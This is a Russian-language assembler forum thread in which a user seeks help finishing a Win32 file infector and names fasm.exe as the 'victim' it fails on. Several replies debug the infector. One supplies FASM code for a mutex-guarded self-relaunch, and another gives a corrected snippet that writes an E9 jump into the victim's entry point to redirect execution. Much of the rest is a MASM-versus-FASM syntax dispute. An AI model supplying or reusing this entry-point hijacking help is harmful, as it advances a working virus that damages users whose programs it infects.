Не могу дописать win32 infector _help_

Тема в разделе "WASM.ASSEMBLER", создана пользователем asm0day01, 7 янв 2020.

  1. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Вот как раз в масме на этой неявности новички регулярно попадаются. Не историк ассемблера, хз зачем вообще директива offset была придумана и зачем нужна возможность адресовать что-то без квадратных скобок.

    PROCESS_INFORMATION, STARTUPINFO и hmutex лучше бы вообще в стеке разместить, вынести импорт в другую секцию и убрать writable с секции кода. Дико неудобно пользоваться глобальными переменными, если не объявлять их макросом. Конструкция 'sz0 db "0",?' конечно валидная, но глаз режет, 'sz0 db "0",0' расово правильно. Ну и в принципе таблицу импорта нет нужды вручную генерировать, 'win32ax.inc' подключает тебе удобные макросы для этого:
    Код (ASM):
    1. library kernel32,'kernel32.dll',user32,'user32.dll'
    2. include 'api\kernel32.inc'
    3. import user32,\
    4. MessageBoxA,'MessageBoxA',\
    5. MessageBeep,'MessageBeep'
    Прочитать на мсдн зачем нужны мутексы. Перед созданием процесса создавай мутекс, если не удалось, значит он уже был создан и ты уже действуешь из второй копии процесса, новый запускать не следует. GetLastError необязателен, можно на return value CreateMutexA'а опираться, и по-моему правильней будет так:
    Код (ASM):
    1. push mutex
    2. push 0
    3. push 0
    4. call [CreateMutexA]
    Если не поможет, OpenMutextA->CreateMutexA попробуй.
     
    Последнее редактирование: 23 янв 2020
  2. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    f13nd,

    > Вот как раз в масме на этой неявности новички регулярно попадаются.

    Вот как выше ошибся и как ты говоришь что нет языковых средств для явного определения переменной(значение или смещение, что бы понять нужно открыть диз ?).

    > зачем вообще директива offset была придумана и зачем нужна возможность адресовать что-то без квадратных скобок.

    Я же говорил, что бы код был читаем, стиль такой. Что бы не ошибаться, читая свой же код.

    А к системным синхро-обьектам без знания основ яп переходить ему пока рано. Он даже не может посмотреть прототип функции. Буфер разместить на EP это шедевр, давно такого не видел.
     
  3. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    В третий раз повторяю: отсутствие квадратных скобок трактуется фасмом всегда однозначно, и наличие однозначно. Если не знаешь синтаксис фасма, открывай диз.
    Код (ASM):
    1. format pe console 4.0
    2. include 'win32ax.inc'
    3. include 'macro\if.inc'
    4. entry main
    5.  
    6. SYNCHRONIZE = 0x100000
    7. MUTANT_QUERY_STATE = 1
    8. MUTANT_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED + SYNCHRONIZE + MUTANT_QUERY_STATE
    9.  
    10. section '.code' code data readable executable
    11.  
    12. proc main
    13.             locals
    14.                 szFilePath        rb MAX_PATH+1
    15.                 binProcessInfo    PROCESS_INFORMATION
    16.                 binStartupInfo    STARTUPINFO
    17.             endl
    18.             invoke OpenMutexA,MUTANT_ALL_ACCESS,0,szMutexName
    19.             test eax,eax
    20.             .if ZERO?
    21.                 invoke CreateMutexA,0,0,szMutexName
    22.                 test eax,eax
    23.                 .if ~ZERO?
    24.                     invoke GetModuleFileNameA,0,addr szFilePath,MAX_PATH
    25.                     invoke memset,addr binProcessInfo,0,sizeof.PROCESS_INFORMATION
    26.                     add esp,3*4
    27.                     invoke memset,addr binStartupInfo,0,sizeof.STARTUPINFO
    28.                     add esp,3*4
    29.                     mov [binStartupInfo.cb],sizeof.STARTUPINFO
    30.                     invoke CreateProcessA,addr szFilePath,0,0,0,-1,0x08000000,0,0,addr binStartupInfo,addr binProcessInfo
    31.                     test eax,eax
    32.                     .if ~ZERO?
    33.                         invoke WaitForSingleObject,[binProcessInfo.hProcess],-1
    34.                     .endif
    35.                 .endif
    36.             .else
    37.                 invoke CloseHandle,eax
    38.                 invoke Sleep,5000
    39.             .endif
    40.             invoke ExitProcess,0
    41.             ret
    42. endp
    43.  
    44. szMutexName db 'mutexmutexmutex',0
    45.  
    46. section '.data' data readable writable
    47. data import
    48.     library kernel32,'kernel32.dll',user32,'user32.dll',ntdll,'ntdll.dll'
    49.     include 'api\kernel32.inc'
    50.     include 'api\user32.inc'
    51.     import ntdll,\
    52.         memset,'memset'
    53. end data
     
    Последнее редактирование: 23 янв 2020
  4. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    f13nd,

    > Если не знаешь синтаксис фасма, открывай диз.

    Диз же любой на масме со скобками как принято в самой основе асма :preved:
    Короче я так выше и сделал что бы понять, смещение там или дереференс.

    Вывод: не использовать фасм.
     
  5. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    По секрету скажу, что любой диз это интел, а не масм. Почему так - хз, наверное надо было с появления 286го проца за этим следить, чтобы знать.
     
  6. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    Вроде отвечал а сообщение пропало..

    Второй раз говорю, любой диз на масм, на оригинальном синтаксисе оригинального асм. А фасм юзать не нужно.

    Хотя нет, это глюки браузера.

    > что любой диз это интел, а не масм.

    Квадратные скобки были приняты на контроллерах есчо до интел.
     
  7. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    "Любой диз в интелосинтаксисе - надо писать на масме", че-то теряется в этом нить логики.
     
  8. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    f13nd,

    А ида во что дизит ?
    А олли или иной отладчик ?
    Дружок ты запиз.. заговорил сам себя :sarcastic:
     
  9. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Между дизом и разработкой огромная пропасть. Единственная возможная связь - использовать диз для риппинга, тогда чуть-чуть задача упрощается за счет совместимости синтаксиса. В принципе приходилось рипать библиотеки по полметра кода, переделка синтаксиса под фасм много не занимала. За счет "автоматики".
    Делал несколько месяцев назад эмуль, симулирующий подключенный по tcp/ip девайс:
    [​IMG]
    Легким движением руки сообщения, вынутые из обмена, превращаются где надо в код, где надо в данные. За минуту лог становится эмулятором. Может масм такое?
     
  10. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    f13nd,

    > Может масм такое?

    Он для IA, но я знал зачем тебе фасм и что ты разбираешь прошивки, ты ведь сам это тут где то говорил. А на твоём скрине я не вижу асм, я вижу хекс.
     
  11. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Вот именно. Средствами языка хекс парсится и по нему генерируются обработчики. Средствами языка автоматизируется все что можно и нельзя на этапе сборки. Там где на голом асме писать откровенное дрочево.
     
  12. Indy_

    Indy_ Well-Known Member

    Публикаций:
    4
    Регистрация:
    29 апр 2011
    Сообщения:
    4.775
    Короче я пасс этот бред обсуждать. Объясни это тс.)

    Будут вопросы по синхронизациям я что нибудь посоветую.
     
  13. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.241
    Пишите в ат&т синтаксисе, интеловский синтаксис во всех ассемблерах - это такой мейнстрим.
     
  14. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Не, самым отчаянным мазохистам рекомендую ассемблер PowerPC, одни только RLWIMIx и RLWINMx с точкой и без точки погубят вам мозг на всю жизнь.
     
  15. asm0day01

    asm0day01 Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    128
    fasm.exe в виде виктима сбоит, все остальное работает
    password: password
     

    Вложения:

    • 0000.zip
      Размер файла:
      360,6 КБ
      Просмотров:
      232
  16. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Очевидно потому что ты неправильно рассчитываешь оффсет для jmp.
    Здесь у тебя edx смотрит на запись секции .reloc, а в eax помещается ее VirtualOffset.
    Код (ASM):
    1.     mov eax,[edx+0ch]
    2.     push eax
    3.     mov esi,[ebp+entryptr]
    4. ;int 3
    5.     mov edi,[ebp+pep]
    6.     add edi,ebx
    7. mov [ebp+hmodule],edi
    8.     mov al,byte [ebp+_jmp]
    9.     cld
    10.     stosb
    11. ;
    12. ;int 3
    13.     pop eax
    14.     sub eax,esi
    15.     sub eax,5
    16.     mov ecx,[ebp+sfile]
    17.     sub ecx,[edx+14h]
    18.     add ecx,vsize
    19.     add eax,ecx
    20.     sub eax,vsize
    Оффсет для jmp рассчитывается так: target_address-jmp_address-5, считаешь ты дельту в VA или RVA без разницы, но явно делаешь это неправильно.
     
  17. asm0day01

    asm0day01 Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    128
    напиши код :)
     
  18. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    Код (ASM):
    1. mov edi,ep_raw
    2. add edi,[pBuffer]
    3. mov al,0xE9
    4. stosb
    5. mov eax,[target_rva]
    6. sub eax,[entry_rva]
    7. sub eax,5
    8. stosd
     
  19. asm0day01

    asm0day01 Member

    Публикаций:
    0
    Регистрация:
    7 янв 2020
    Сообщения:
    128
    остальное работает а в fasm нет? откуда берется 5ый байт он же ноль на диске а в памяти появляется байт, какого юля?
    --- Сообщение объединено, 3 мар 2020 ---
    проверю завтра
     
  20. f13nd

    f13nd Well-Known Member

    Публикаций:
    0
    Регистрация:
    22 июн 2009
    Сообщения:
    1.953
    У фасм.ехе нестандартная база, фасм написан на фасме, там тоже в плане заголовков может быть не совсем так как в цэшных программах. Причин почему ты мог запутаться и случайно попасть много. Если хитровыдуманность твоего кода самому тебе не налазит на голову, это дурной знак.